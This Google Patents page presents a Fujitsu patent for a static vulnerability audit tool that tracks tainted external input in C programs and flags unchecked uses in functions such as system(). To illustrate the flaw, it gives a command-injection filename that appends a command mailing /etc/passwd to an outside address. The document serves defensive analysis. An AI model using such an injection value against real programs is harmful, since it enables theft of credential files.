JP5077455B2 - Vulnerability audit program, vulnerability audit device, vulnerability audit method - Google Patents

Vulnerability audit program, vulnerability audit device, vulnerability audit method Download PDF

Info

Publication number
JP5077455B2
JP5077455B2 JP2011048514A JP2011048514A JP5077455B2 JP 5077455 B2 JP5077455 B2 JP 5077455B2 JP 2011048514 A JP2011048514 A JP 2011048514A JP 2011048514 A JP2011048514 A JP 2011048514A JP 5077455 B2 JP5077455 B2 JP 5077455B2
Authority
JP
Japan
Prior art keywords
vulnerability
variable
program
function
determination
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Expired - Fee Related
Application number
JP2011048514A
Other languages
Japanese (ja)
Other versions
JP2011150716A (en
Inventor
仁史 三友
悟 鳥居
Original Assignee
富士通株式会社
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by 富士通株式会社 filed Critical 富士通株式会社
Priority to JP2011048514A priority Critical patent/JP5077455B2/en
Publication of JP2011150716A publication Critical patent/JP2011150716A/en
Application granted granted Critical
Publication of JP5077455B2 publication Critical patent/JP5077455B2/en
Application status is Expired - Fee Related legal-status Critical
Anticipated expiration legal-status Critical

Links

Images

Description

  The present invention relates to a vulnerability audit program, a vulnerability audit apparatus, and a vulnerability audit method that audit a program and detect vulnerabilities.

  Vulnerability audit techniques for programs are generally divided into static audits and dynamic audits. Vulnerability is a type of bug that causes damage to program users, such as system down, hijacking, and information leakage when misused, and is also called a security hole.

  First, static audit will be described.

  Some libraries prepared in the programming language must not be used because they are sources of vulnerabilities, or those that require attention in use. These are called vulnerable libraries. For example, in the case of C language, it is said that a library such as “strcpy” that can be a source of buffer overflow vulnerability, which is the most popular vulnerability, should not be used, but “strncpy” etc. should be used instead. . However, in actual source code, there is a current situation that these rules are not thoroughly enforced.

  Static auditing refers to auditing that does not involve program execution. A typical static audit reads source code, searches for known vulnerable library names (including system functions), and outputs a warning message along with the location where the vulnerable library is used. This helps programmers not create vulnerabilities in the source code.

  Next, dynamic audit will be described.

  Dynamic auditing is auditing that involves program execution. In general dynamic auditing, input data is given to a program while monitoring a memory or the like, and source code is executed line by line. When an abnormality occurs on the memory, a warning message is output.

  As a related art related to the present invention, for example, Patent Document 1 shown below is known. The computer process resource modeling method and apparatus analyze a component of a computer program to determine the effect that component has on the resource. When a violation of a predetermined resource behavior is detected, a programming error is notified.

Japanese National Patent Publication No. 10-509258

  Even a library that is generally considered to be vulnerable will not create a vulnerability unless the programmer uses it in the source code. For example, if the “strcpy” library processes string constants, it cannot be a vulnerability. On the other hand, when the “strcpy” library processes a character string given from the outside, such as a user of the program, a buffer overflow vulnerability may occur by giving a special character string from the outside.

  However, conventional static audits often rely on simple pattern matching of vulnerable library names, and output warning messages for all vulnerable libraries used in the source code. In other words, traditional static audits also warn about vulnerable libraries that are being used properly, so programmers must deal with vast warning messages.

  Further, in the conventional dynamic audit, it is necessary for an inspector to create a test set that is a set of input data given to a program. Creating a test set to cover a variety of vulnerabilities is generally difficult and expensive, which raises the threshold for dynamic auditing.

  The present invention has been made to solve the above-described problems, and provides a vulnerability audit program, a vulnerability audit apparatus, and a vulnerability audit method that detect only a portion where a vulnerable library is not properly used. For the purpose.

  In order to solve the above-described problem, one aspect of the present invention is a vulnerability audit program for causing a computer to execute a vulnerability audit method for detecting a vulnerability of a program to be audited. And a determination rule input step for reading the determination rule from a storage unit storing a determination rule that is defined in advance in association with a function name and an argument position of the function that can be set to an invalid value. A program input step for reading the audited program and performing syntax analysis; and a processing flow for extracting a variable whose value is input from the outside in the audited program that has been subjected to the syntax analysis and tracking the process along the processing flow A tracking step; and in the audited program, the function defined in the determination rule and the position of the argument of the function are tracked. A vulnerability determination step for determining, when a variable is used, whether a check function is called with the variable as an argument, or whether the variable is used in a conditional expression including a comparison operator; When the determination by the vulnerability determination step is negative, the computer executes a warning output step of generating a warning message and outputting it to a screen or a file.

  Further, in the vulnerability audit program according to one aspect of the present invention, the warning message is detected as a variable position where the value is input from the outside, a used library function and an argument, a used library function position. Including a description of vulnerabilities and a method of correcting the audited program.

  In the vulnerability audit program according to an aspect of the present invention, the audited program is a source code or an intermediate language file.

  One aspect of the present invention is a vulnerability audit program for causing a computer to execute a vulnerability audit method for detecting a vulnerability of a program to be audited, which is a determination rule related to a vulnerability, and includes a function name, A storage unit that stores therein a determination rule in which a code for executing a check on vulnerability is pre-defined in association with a position of an argument of the function that can be set with an invalid value. From the determination rule input step for reading the determination rule, the program input step for reading the audited program and performing syntax analysis, and the variable whose value is input from the outside in the audited program subjected to the syntax analysis And a process flow tracking step for tracking along the process flow; and If the tracked variable is used at the position of the function defined in the function and the argument of the function, whether or not the check function is called with the variable as an argument, or the variable is a comparison operator A vulnerability determination step that determines whether or not a conditional expression including the vulnerability is used, and a determination regarding the vulnerability defined in the determination rule when the determination by the vulnerability determination step is negative By inserting the code, the computer is caused to execute a correction output step for correcting the audited program with respect to the vulnerability.

  One embodiment of the present invention is a vulnerability audit apparatus that detects a vulnerability of a program to be audited, which is a determination rule related to a vulnerability, wherein a function name, an argument of the function, and an illegal value are A determination rule input unit that reads the determination rule, a program input unit that reads the audited program and performs syntax analysis, from a storage unit that stores a determination rule defined in advance in association with the position of an argument that can be set; In the audited program subjected to the syntax analysis, a process flow tracking unit that extracts a variable whose value is input from the outside and tracks it along the process flow, and is defined in the determination rule in the audited program If the tracked variable is used at the position of the function and the argument of the function, whether the check function is called with the variable as an argument, or A vulnerability determination unit that determines whether or not a number is used in a conditional expression including a comparison operator, and a warning message is generated and output to a screen or file when the determination by the vulnerability determination unit is negative A warning output unit.

  One embodiment of the present invention is a vulnerability audit apparatus that detects a vulnerability of a program to be audited, which is a determination rule related to a vulnerability, wherein a function name, an argument of the function, and an illegal value are A determination rule input unit that reads the determination rule from a storage unit that stores a determination rule in which a code for executing a check on vulnerability is pre-defined in association with a position of an argument that can be set. A program input unit that reads the audited program and performs syntax analysis; and a processing flow that extracts a variable whose value is input from the outside in the audited program that has undergone the syntax analysis and tracks it along the processing flow In the tracking unit and the audited program, the tracked variable is used in the position of the function defined in the determination rule and the argument of the function. A vulnerability determination unit that determines whether or not a check function is called with the variable as an argument, or whether the variable is used in a conditional expression including a comparison operator, and the vulnerability A correction output unit that corrects the audited program for vulnerabilities by inserting a code that causes a computer to execute a check on the vulnerability defined in the determination rule when the determination by the sex determination unit is negative; , Has.

  One embodiment of the present invention is a determination rule related to vulnerability, in which a function name is defined in advance in association with a position of an argument that is an argument of the function and an invalid value can be set. A determination rule input step for reading the determination rule from the storage unit storing the program, a program input step for reading the audited program and performing syntax analysis, and a value input from the outside in the audited program subjected to the syntax analysis A process flow tracking step for extracting a variable to be tracked along the process flow, and in the audited program, the tracked variable is used in the function defined in the determination rule and the position of the argument of the function. The check function is called with the variable as an argument, or the variable is used in a conditional expression that includes a comparison operator. A computer that executes a vulnerability determination step for determining whether or not, and a warning output step for generating a warning message and outputting it to a screen or a file when the determination by the vulnerability determination step is negative It is.

  Further, one aspect of the present invention is a determination rule relating to vulnerability, wherein a function name and an argument position of the function and an argument position where an invalid value can be set are defined in advance, A determination rule input step for reading the determination rule from a storage unit storing a determination rule in which a code for causing a computer to perform a check on vulnerability is previously defined; a program input step for reading the audited program and performing syntax analysis; In the audited program that has undergone the parsing, a process flow tracking step that extracts a variable whose value is input from the outside and tracks it along the process flow, and is defined in the determination rule in the audited program When the tracked variable is used at the position of the function and the argument of the function, the variable is checked as an argument. A vulnerability determination step for determining whether or not the function is called, or whether or not the variable is used in a conditional expression including a comparison operator, and the determination by the vulnerability determination step is negative The computer executes a correction output step of correcting the audited program with respect to the vulnerability by inserting a code for causing the computer to execute a check on the vulnerability defined in the determination rule.

  It is possible to provide a vulnerability audit program, a vulnerability audit apparatus, and a vulnerability audit method that detect only a portion where a vulnerable library is not properly used.

It is a source code which shows an example of a vulnerable program. It is a display which shows an example of the normal execution result of a vulnerable program. It is a source code which shows an example of a safe program. It is a block diagram which shows an example of a structure of the vulnerability audit apparatus which concerns on this invention. It is a flowchart which shows an example of operation | movement of the vulnerability inspection apparatus which concerns on this invention. It is a flowchart which shows an example of the operation | movement of the variable process which concerns on this invention. It is a figure which shows an example of the warning message which concerns on this invention. It is a figure which shows an example of an intermediate language file. It is a block diagram which shows another example of a structure of the vulnerability audit apparatus which concerns on this invention. It is a source code which shows an example of the content of the program correction method which concerns on this invention.

  Embodiments of the present invention will be described below with reference to the drawings.

  In the present embodiment, the data flow is traced starting from the input of external data, and the location where the external data is directly transferred to a dangerous library is detected. Therefore, according to the present embodiment, it is possible to detect only a portion where a vulnerable library is not properly used. In the present embodiment, a vulnerability audit apparatus that detects a vulnerability included in a C language source code and warns a programmer of the detected vulnerability will be described.

  First, an example of two audited programs that are programs to be audited will be described.

  As an example of the first audited program, FIG. 1 shows a vulnerable program “test1.c”. “Test1.c” is a program that allows the user to input a file name and outputs detailed information (access restriction, owner, size, last update date, etc.) of the file corresponding to this file name to the screen. . "Test1.c" first performs file name input processing on lines 09-11. Next, on the 13th line, a command character string to be passed to the Unix shell is generated using the file name. Here, the detailed information of the file is output by “ls -l filename”. Next, the command character string is delivered to the Unix shell on the 14th line. FIG. 2 shows a normal execution result when an existing appropriate file name is input to this program.

  However, “test1.c” is a vulnerable program that can be misused. The malicious user may enter, for example, “example.txt; mail foo@fuga.com <// etc / passwd” as the file name. In this case, “test1.c” is fine until the detailed information of the file “example.txt” is displayed, but a command for sending a password file to “foo@fuga.com” is subsequently executed. End up. That is, confidential information is leaked.

  Next, as an example of the second audited program, FIG. 3 shows a safe program “test2.c” that solves the problem of “test1.c”. Unlike “test1.c”, “test2.c” checks the input file name. In line 13, the function “Check_file_name” (defined in lines 23 to 36) is called, where the file name is checked and the program is terminated without processing any file name that does not pass the check. As a result, a problem such as “test1.c” does not occur.

  Here, the function “Check_file_name” will be briefly described. This function uses alphanumeric characters in the file name string, '. It is checked whether characters other than '(period),'-'(hyphen) and' _ '(under bar) are included. These characters are usually considered necessary and sufficient. In other words, by limiting the characters that can be used in the file name to these, illegal input such as the problem of “test1.c” is prevented.

  Next, the configuration of the vulnerability inspection apparatus according to the present invention will be described. FIG. 4 is a block diagram showing an example of the configuration of the vulnerability inspection apparatus according to the present invention. The vulnerability inspection apparatus includes a program input unit 11, a variable management unit 21, a determination rule management unit 22, a processing flow tracking unit 31, a vulnerability determination unit 32, and a warning message output unit 41.

  The determination rule management unit 22 manages a determination rule for a previously defined vulnerability. The determination rule describes a function using an external input, an argument of a vulnerable library, and the like. The determination rule may be stored in advance in a memory, or may be stored in advance in a file and read at startup. Also, the user may be able to customize this file.

  The program input unit 11 reads the source code, performs syntax analysis of the source code, and passes the processing flow to the processing flow tracking unit 31. This can be realized by using the function of the C language compiler. Since the C language compiler parses the source code to generate an intermediate language file, this intermediate language file is used as a processing flow. The source code may consist of multiple files. The processing flow tracking unit 31 extracts an external input variable whose value is input from the outside, and passes information related to the variable to the variable management unit 21. Further, the processing flow tracking unit 31 tracks the external input variable along the processing flow, and extracts a place where the tracked destination variable is processed as a vulnerable argument of the library function. A determination rule is used as a reference for extraction.

  The variable management unit 21 manages information for each variable obtained from the processing flow tracking unit 31 as a variable table. The information for each variable consists of the variable name, attribute, and position (source file name and line number) where the attribute is set. The attribute of the argument or variable is “unset”, which is the state immediately after the declaration of the variable, the value is set, “normal” which is not any other state, the externally input state, and the vulnerability is There is "contamination" that can occur, and "checked" that has been checked for no contamination. A variable whose attribute is pollution is called a pollution variable.

  The vulnerability determination unit 32 determines whether a contamination variable is used as an argument of a vulnerable library defined in the determination rule. The warning output unit 41 generates a warning message regarding the vulnerability and outputs it to a screen, a file, or the like.

  Next, the operation of the vulnerability inspection apparatus according to the present invention will be described. FIG. 5 is a flowchart showing an example of the operation of the vulnerability inspection apparatus according to the present invention.

  First, the program input unit 11 reads the program and passes it to the processing flow tracking unit 31 (S11). Next, the process flow tracking unit 31 extracts external input variables according to the determination rule and stores them in the variable table of the variable management unit 21 (S12). Next, the process flow tracking unit 31 determines whether or not unaudited variables remain (S13). If an unaudited variable remains (S13, Y), the process flow tracking unit 31 selects one of the unaudited variables, audits the variable (S14), and returns to the process S13. On the other hand, if there is no unaudited variable (S13, N), this flow ends.

  In the process S14, the process flow tracking unit 31 and the vulnerability determination unit 32 audit the selected variable. FIG. 6 is a flowchart showing an example of the variable auditing operation according to the present invention.

  First, the process flow tracking unit 31 advances the read program by one line (S21). Next, the process flow tracking unit 31 determines whether or not the program has ended (S22). When the program is finished (S22, Y), this flow is finished. On the other hand, when the program has not ended (S22, N), the process flow tracking unit 31 determines whether or not the program has branched (S23). If the program is not branched (S23, N), the process proceeds to S31. On the other hand, when the program branches (S23, Y), the process flow tracking unit 31 stores the branch destination variable corresponding to the selected variable in the variable table (S24).

  Next, the process flow tracking unit 31 determines whether or not the attribute of the variable has been checked (S31). If it has been checked (S31, Y), this flow ends. On the other hand, if not checked (S31, N), the process flow tracking unit 31 determines whether the variable is used in the function (S32). If not used in the function (S32, N), the process returns to the process S21. On the other hand, if it is used in a function (S32, Y), the vulnerability determination unit 32 determines whether or not a pollution variable has occurred due to the transition of the attribute of each variable (S41). If not (S41, N), the process proceeds to S43. On the other hand, if a contamination variable has occurred (S41, Y), the vulnerability determination unit 32 stores the variable attribute as contamination in the variable table (S42). Next, the vulnerability determination unit 32 determines whether or not vulnerability has occurred in the variable according to the determination rule (S43). If the vulnerability has not occurred (S43, N), the process returns to S21. On the other hand, when a vulnerability has occurred (S43, Y), the warning output unit 41 outputs a warning message (S44) and ends this flow.

  Here, the process S12 extracts an external input variable by using a function using a predefined external input and using arguments (argc, argv) passed to the main function. Among these functions, for functions using external inputs, the function name and the position of an argument that can contain a tainted value are defined in advance in the determination rule. This definition needs to be made based on the use of each function. For example, the fgets function is defined in advance as follows.

  fgets: param_1 = taint

  In this definition, since the fgets function is used such that a value input from the outside enters the first argument, the first argument is tainted, and the other arguments and the return value are non-tainted. It means that.

  Similarly, the snprintf function is defined in advance as follows.

  snprintf: param_1 = param_4

  This definition means that the attribute of the first argument takes over the attribute of the fourth argument in the snprintf function. That is, if the fourth argument is tainted, the first argument is also tainted, and if the 4th argument is uncontaminated, the first argument is also uncontaminated.

  Similarly, the system function is defined in advance as follows.

  system: alert_if param — 1 = taint

  This definition means that a warning message is generated when the first argument is tainted in the system function. That is, this function has a possibility of exhibiting an abnormal behavior when the first argument is contamination, indicating that it has a vulnerability.

  In step S31, it is checked whether or not the variable attribute has been checked. For example, when a check function such as isalnum () is called with the target variable as an argument, the attribute of the target variable is checked. If the target variable is used in a conditional expression including a comparison operator, the attribute of the target variable is checked.

  In step S44, a warning message about the vulnerability is generated and output to a screen, a file, or the like. FIG. 7 is a diagram showing an example of a warning message according to the present invention. First, the detection number, function name, and argument position are output as a warning message. Descriptions about vulnerabilities such as function names, risk levels, threats, explanations, and the like are defined in advance in the determination rules and are associated with the detected vulnerability IDs. The setting location of the contaminated data is stored in the variable table, and the set function name, file name, line number, etc. are output. The use location of the vulnerable library is obtained from the current position of the flow tracking, and the used function name, file name, line number, etc. are output.

  Next, a specific example of the operation will be described for the case where the vulnerability audit apparatus according to the present invention performs vulnerability audit of a vulnerable program and when the vulnerability audit of a safe program is performed.

  First, a case where the vulnerability audit apparatus performs a vulnerability audit of the vulnerable program “test1.c” will be described.

  First, since the fgets function is used in the 10th line, the vulnerability inspection apparatus determines that there is a possibility that an external value is input to the variable file_name and the attribute of the variable file_name may be contaminated.

  Next, since the snprintf function is used in the 13th line, the vulnerability inspection apparatus determines that the attribute of the variable file_name is succeeded to the variable ls_command and the attribute of the variable ls_command may be contaminated. .

  Next, since the variable ls_command is used as an argument of the system function in the 14th line, the vulnerability inspection apparatus processes the tainted variable and may generate a vulnerability. to decide. Next, the vulnerability audit apparatus outputs a warning message for the detected vulnerability.

  Next, a case where the vulnerability audit apparatus performs a vulnerability audit of the safe program “test2.c” will be described.

  First, since the fgets function is used in the 10th line, the vulnerability inspection apparatus determines that the value of the variable file_name is input from the outside and the attribute of the variable file_name is tainted.

  Next, the vulnerability inspection apparatus determines that the value of the variable file_name is checked by the function Check_file_name on the 13th line, and the attribute of the variable file_name has been checked.

  Next, since the snprintf function is used in the 18th line, the vulnerability inspection apparatus determines that the attribute of the variable file_name is succeeded to the variable ls_command and the attribute of the variable ls_command has been checked.

  Next, since the variable ls_command is used as an argument of the system function in the 19th line, the vulnerability inspection apparatus processes a variable having a checked attribute, and the vulnerability may occur. Judge that there is no sex.

  In this embodiment, warning messages detected for one variable are output one by one, but a plurality of warning messages for the same variable may be merged. In a program, processing is branched by an if statement or the like, and different processing is often applied to the same variable at the branch destination. In such a case, for example, a high-risk vulnerability may be detected at one branch destination, and a low-risk vulnerability may be detected at the other branch destination. At this time, it is redundant for the user to output both as separate warning messages, and it is often desirable to output both as a warning message merged. As a specific method of merging warning messages, there is a method of leaving only the warning message with the highest degree of danger among a plurality of warning messages and discarding other warning messages.

  In this embodiment, vulnerability audit is performed by processing source code, but vulnerability audit may be performed by processing intermediate language files. In a C language program, a human-readable source code is compiled into a machine language that can be executed by a computer. The compiler generates an intermediate language file, which is an intermediate file, during the translation process, and can output it to a disk. The intermediate language file is a representation of the source code in the form of a node for each unit, and it is not as human-readable as the source code, but it is not as difficult to decipher as a machine language. FIG. 8 is a diagram illustrating an example of the intermediate language file. When such an intermediate language file is read, the vulnerability inspection apparatus can generate a tree-structured data flow. Although the data format is different, vulnerability audit processing can be performed in the same way as the source code.

  In this embodiment, the vulnerability audit apparatus outputs a warning message so that the user can correct the program according to the warning message. However, the warning message may include a program correction method. Then, the newly provided correction output unit may automatically correct the program according to the program correction method. FIG. 9 is a block diagram showing another example of the configuration of the vulnerability inspection apparatus according to the present invention. 9, the same reference numerals as those in FIG. 4 denote the same or corresponding parts as those in FIG. 4, and a description thereof will be omitted here. Compared with FIG. 4, the apparatus of FIG. 9 includes a correction output unit 51 instead of the warning output unit 41 to automatically correct the program.

  When the program correction method is obtained in this way, a program correction method for vulnerability is further defined in advance in the determination rule. For example, first, one field is added in the determination rule of the system function, and the following types of program correction methods are described.

  system: alert_if param1 = taint, correct = method3

  Further, the contents of the program correction method method3 are defined in advance in the determination rule. FIG. 10 is a source code showing an example of the content of the program correction method according to the present invention. This program correction method method3 inserts logic for checking a character string variable used as an argument immediately before using the system function. This logic checks whether or not a character string variable includes a character that is dangerous when delivered to the shell, such as ‘|’ and ‘;’. Here, Invalid_String_Error (x) is a function defined elsewhere, and outputs an error and terminates the program.

  In this embodiment, the C language is targeted, but the present invention can also be applied to other program languages.

  Furthermore, a program that causes a computer constituting the vulnerability inspection apparatus to execute the above steps can be provided as a vulnerability inspection program. By storing the above-described program in a computer-readable recording medium, the computer constituting the vulnerability audit apparatus can be executed. Here, as the recording medium readable by the computer, a portable storage medium such as a CD-ROM, a flexible disk, a DVD disk, a magneto-optical disk, an IC card, a database holding a computer program, or another computer In addition, the database and the transmission medium on the line are also included.

  According to the present invention, by detecting only portions where a vulnerable library is not properly used, the accuracy of vulnerability detection is greatly improved as compared to the conventional method of detecting all vulnerable libraries.

  DESCRIPTION OF SYMBOLS 11 Program input part, 21 Variable management part, 22 Judgment rule management part, 31 Process flow tracking part, 32 Vulnerability judgment part, 41 Warning message output part, 51 Correction output part

Claims (5)

  1. A vulnerability audit program for causing a computer to execute a vulnerability audit method for detecting a vulnerability of an audited program,
    A determination rule relating to a vulnerability, wherein the determination is made from a storage unit storing a determination rule in which a function name and a position of an argument that is an argument of the function and an invalid value can be set are stored in advance A decision rule input step for reading a rule;
    A program input step for reading the audited program and performing syntax analysis;
    In the audited program that has undergone the parsing, a process flow tracking step of extracting a variable whose value is input from the outside and tracking it along the process flow;
    In the audited program, when the tracked variable is used at the position of the function defined in the determination rule and the argument of the function, the necessary and sufficient range for the value of the variable using the variable as an argument Vulnerability to determine whether or not a check function is called to check whether any other value is included, or whether or not the tracked variable is used in a conditional expression containing a comparison operator A determination step;
    A warning output step of generating a warning message and outputting it to a screen or a file if the determination by the vulnerability determination step is negative;
    Vulnerability audit program to make computer execute.
  2. In the vulnerability audit program according to claim 1,
    The vulnerability inspection program, wherein the determination rule includes a definition of a vulnerable argument in a library function.
  3. In the vulnerability audit program according to claim 1,
    The variable managed by the variable management step includes a variable in which the value is input from the outside, and a variable obtained as a result of processing the variable in which the value is input from the outside by a function or the like Audit program.
  4. A vulnerability audit device that detects vulnerabilities in an audited program,
    A determination rule relating to a vulnerability, wherein the determination is made from a storage unit storing a determination rule in which a function name and a position of an argument that is an argument of the function and an invalid value can be set are stored in advance A decision rule input section for reading the rules;
    A program input unit that reads and parses the audited program;
    In the audited program that has been subjected to the syntax analysis, a process flow tracking unit that extracts variables whose values are input from the outside and tracks them along the process flow;
    In the audited program, when the tracked variable is used at the position of the function defined in the determination rule and the argument of the function, the necessary and sufficient range for the value of the variable using the variable as an argument Vulnerability to determine whether or not a check function is called to check whether any other value is included, or whether or not the tracked variable is used in a conditional expression containing a comparison operator A determination unit;
    A warning output unit that generates a warning message and outputs it to a screen or a file if the determination by the vulnerability determination unit is negative;
    Vulnerability inspection device.
  5. A determination rule relating to a vulnerability, wherein the determination is made from a storage unit storing a determination rule in which a function name and a position of an argument that is an argument of the function and an invalid value can be set are stored in advance A decision rule input step for reading a rule;
    A program input step for reading the audited program and performing syntax analysis;
    In the audited program that has undergone the parsing, a process flow tracking step of extracting a variable whose value is input from the outside and tracking it along the process flow;
    In the audited program, when the tracked variable is used at the position of the function defined in the determination rule and the argument of the function, the necessary and sufficient range for the value of the variable using the variable as an argument Vulnerability to determine whether or not a check function is called to check whether any other value is included, or whether or not the tracked variable is used in a conditional expression containing a comparison operator A determination step;
    A warning output step of generating a warning message and outputting it to a screen or a file if the determination by the vulnerability determination step is negative;
    Vulnerability audit method that the computer executes.
JP2011048514A 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method Expired - Fee Related JP5077455B2 (en)

Priority Applications (1)

Application Number Priority Date Filing Date Title
JP2011048514A JP5077455B2 (en) 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
JP2011048514A JP5077455B2 (en) 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method

Related Child Applications (1)

Application Number Title Priority Date Filing Date
JP2007503520 Division 2005-02-17

Publications (2)

Publication Number Publication Date
JP2011150716A JP2011150716A (en) 2011-08-04
JP5077455B2 true JP5077455B2 (en) 2012-11-21

Family

ID=44537582

Family Applications (1)

Application Number Title Priority Date Filing Date
JP2011048514A Expired - Fee Related JP5077455B2 (en) 2011-03-07 2011-03-07 Vulnerability audit program, vulnerability audit device, vulnerability audit method

Country Status (1)

Country Link
JP (1) JP5077455B2 (en)

Families Citing this family (2)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP5845888B2 (en) * 2011-12-26 2016-01-20 日本電気株式会社 Software correction apparatus, software correction system, software correction method, and software correction program
CN104508672B (en) 2012-08-01 2017-05-17 三菱电机株式会社 Program execution device and program analysis device

Family Cites Families (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP2006523898A (en) * 2003-04-18 2006-10-19 オンス ラブス,インク Source code vulnerability detection method and detection system

Also Published As

Publication number Publication date
JP2011150716A (en) 2011-08-04

Similar Documents

Publication Publication Date Title
Larochelle et al. Statically detecting likely buffer overflow vulnerabilities
Huang et al. Securing web application code by static analysis and runtime protection
Austin et al. Permissive dynamic information flow analysis
Pietraszek et al. Defending against injection attacks through context-sensitive string evaluation
US8850581B2 (en) Identification of malware detection signature candidate code
Sekar An Efficient Black-box Technique for Defeating Web Application Attacks.
Wang et al. Version history, similar report, and structure: Putting them together for improved bug localization
Altekar et al. OPUS: Online Patches and Updates for Security.
JP2011503721A (en) Generating automated test inputs for web applications
CN101482847B (en) Detection method based on safety bug defect mode
Bandhakavi et al. VEX: Vetting Browser Extensions for Security Vulnerabilities.
US9268945B2 (en) Detection of vulnerabilities in computer systems
US8122436B2 (en) Privacy enhanced error reports
Walden et al. Predicting vulnerable components: Software metrics vs text mining
Dallmeier et al. Generating fixes from object behavior anomalies
Wassermann et al. Sound and precise analysis of web applications for injection vulnerabilities
US7900193B1 (en) System and method for detecting defects in a computer program using data and control flow analysis
Balzarotti et al. Saner: Composing static and dynamic analysis to validate sanitization in web applications
US8393003B2 (en) Obfuscating computer program code
Yamaguchi et al. Chucky: Exposing missing checks in source code for vulnerability discovery
JP2006185211A (en) Program analysis system, test execution device, and analysis method and program thereof
Shahriar et al. Mitigating program security vulnerabilities: Approaches and challenges
Giffin et al. Environment-sensitive intrusion detection
Schuler et al. Covering and uncovering equivalent mutants
Bisht et al. WAPTEC: whitebox analysis of web applications for parameter tampering exploit construction

Legal Events

Date Code Title Description
A621 Written request for application examination

Free format text: JAPANESE INTERMEDIATE CODE: A621

Effective date: 20110307

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20110726

A02 Decision of refusal

Free format text: JAPANESE INTERMEDIATE CODE: A02

Effective date: 20111018

A521 Written amendment

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20120118

A911 Transfer of reconsideration by examiner before appeal (zenchi)

Free format text: JAPANESE INTERMEDIATE CODE: A911

Effective date: 20120124

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20120403

A521 Written amendment

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20120604

TRDD Decision of grant or rejection written
A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

Effective date: 20120731

A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

A61 First payment of annual fees (during grant procedure)

Free format text: JAPANESE INTERMEDIATE CODE: A61

Effective date: 20120813

FPAY Renewal fee payment (event date is renewal date of database)

Free format text: PAYMENT UNTIL: 20150907

Year of fee payment: 3

R150 Certificate of patent or registration of utility model

Free format text: JAPANESE INTERMEDIATE CODE: R150

LAPS Cancellation because of no payment of annual fees